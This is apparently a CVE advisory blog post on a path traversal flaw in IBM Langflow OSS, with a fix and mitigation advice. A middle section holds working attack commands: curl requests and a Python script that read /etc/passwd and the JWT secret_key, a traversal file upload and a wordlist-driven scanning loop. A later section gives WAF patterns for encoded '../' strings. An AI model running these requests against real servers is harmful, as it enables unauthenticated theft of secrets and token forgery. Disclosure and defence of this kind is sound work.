Listen to this Post
CVE-2026-12942 is a path traversal vulnerability (CWE-22) affecting IBM Langflow OSS versions 1.0.0 through 1.10.1. Langflow is a visual framework for building and deploying AI‑powered agent workflows, exposing a wide range of HTTP API endpoints for flow execution, file management, vector store operations, and Model Context Protocol (MCP) server configuration.
The root cause lies in improper validation of user‑supplied file paths across multiple file‑processing components. When an attacker submits a specially crafted URL request containing “dot‑dot” sequences (/../), the application fails to sanitise or canonicalise the path before using it in filesystem operations. This allows the attacker to break out of the intended restricted directory and traverse the underlying filesystem.
The vulnerability manifests in several API endpoints, including the Knowledge Bases API (POST /api/v1/knowledge_bases and DELETE /api/v1/knowledge_bases), where knowledge base names are concatenated directly into file paths without proper boundary validation. Similarly, the `_unpack_bundle` function in `base_file.py` handles tar archive extraction without adequately validating symbolic links or path components. An attacker can supply a filename like `../../../../etc/passwd` in a multipart request, and the server will resolve and read that file.
Because the vulnerability is unauthenticated and requires no user interaction, it can be exploited remotely over the network with low complexity. The CVSS base score is 7.5 (High), with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. This reflects a high confidentiality impact (system files can be read) but no impact on integrity or availability.
Exploitation can lead to disclosure of sensitive system files, including JWT signing secrets, stored credentials, environment variables, configuration files, and application source code. In some cases, reading the `secret_key` file can allow an attacker to forge authentication tokens, leading to privilege escalation or further compromise. The vulnerability is part of a broader set of issues disclosed by IBM in July 2026, which also includes RCE, SSRF, and hardcoded credentials.
IBM has released version 1.10.2 to address this flaw. Users are strongly advised to upgrade immediately, as no workarounds or mitigations are available.
DailyCVE Form:
Platform: IBM Langflow OSS
Version: 1.0.0 – 1.10.1
Vulnerability: Path Traversal (CWE-22)
Severity: High (CVSS 7.5)
date: 2026-07-14
Prediction: 2026-07-14 (fixed in 1.10.2)
What Undercode Say:
Check if the target Langflow instance is vulnerable by attempting to read /etc/passwd curl -v "http://target:7860/api/v1/knowledge_bases/../../../../etc/passwd" Attempt to read the JWT secret key file curl -v "http://target:7860/api/v1/files/../.langflow/secret_key" Use a multipart upload to write a file outside the intended directory curl -X POST "http://target:7860/api/v1/upload" \ -F "[email protected]" \ -F "filename=../../../../tmp/evil.txt" Automate directory traversal with a wordlist for file in $(cat /usr/share/wordlists/dirb/common.txt); do curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" \ "http://target:7860/api/v1/knowledge_bases/../../../../$file" done | grep 200
Python snippet to exploit the path traversal via the Knowledge Bases API
import requests
target = "http://target:7860"
payload = "../../../../etc/passwd"
Attempt to read a sensitive file
r = requests.get(f"{target}/api/v1/knowledge_bases/{payload}")
if r.status_code == 200:
print("[+] File content:\n", r.text)
else:
print("[-] Exploit failed or file not accessible.")
Exploit:
An unauthenticated remote attacker can exploit CVE‑2026‑12942 by sending HTTP requests with `../` sequences in any parameter that is later used to construct a filesystem path. Common attack vectors include:
– Knowledge Bases API – The `name` parameter in `POST /api/v1/knowledge_bases` and the `knowledge_base_id` in `DELETE /api/v1/knowledge_bases` are concatenated into file paths without sanitisation.
– File upload endpoints – The `filename` field in multipart form data is not validated, allowing an attacker to specify a traversal path such as ../../../../tmp/shell.php.
– File read endpoints – Direct file retrieval endpoints, such as /api/v1/files/{path}, accept traversal sequences if the path is not canonicalised.
– Archive extraction – The `_unpack_bundle` function in `base_file.py` extracts tar archives without checking for symbolic links or absolute paths, enabling an attacker to place files anywhere on the system.
A typical exploit flow:
- Identify a vulnerable endpoint that accepts a file path or name.
- Inject `../../../../` sequences to escape the application’s working directory.
- Read sensitive files (e.g.,
/etc/passwd,/proc/self/environ,.env,secret_key). - Use the disclosed secrets to forge JWTs, escalate privileges, or pivot to other internal systems.
Protection:
- Upgrade – The only complete fix is to upgrade to Langflow OSS version 1.10.2 or later. IBM has addressed the path traversal flaw in this release.
- Input validation – If an immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests containing
../,..\, or URL‑encoded variants (%2e%2e%2f,..%252f, etc.). - Path canonicalisation – In custom deployments, ensure that all user‑supplied paths are resolved to an absolute path using `os.path.abspath()` and then verified to be within the intended base directory (e.g., using `os.path.realpath()` and a prefix check).
- Least privilege – Run the Langflow service with a low‑privilege user account that has read access only to necessary directories. This limits the impact if traversal is successful.
- Monitoring – Enable audit logging on file access and monitor for unusual patterns, such as repeated `../` sequences or access attempts to system files.
Impact:
Successful exploitation of CVE‑2026‑12942 allows an attacker to read any file accessible to the Langflow process. This includes:
– Sensitive configuration files – .env, settings.py, `config.yaml` containing database credentials, API keys, and cloud provider secrets.
– JWT signing secrets – The `secret_key` file, which can be used to forge authentication tokens and escalate privileges.
– Source code – Proprietary business logic, internal API endpoints, and hardcoded credentials.
– System files – /etc/passwd, /etc/shadow, /proc/self/environ, and other OS‑level files that may reveal user accounts, environment variables, or network configurations.
– User data – Other users’ uploaded files, vector store documents, and build logs.
The confidentiality impact is high, and while the vulnerability does not directly allow code execution, the information gained can be chained with other flaws (such as CVE‑2026‑12940, an unauthenticated RCE) to achieve full system compromise. Given the unauthenticated nature and low attack complexity, this vulnerability poses a significant risk to any publicly exposed Langflow instance.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
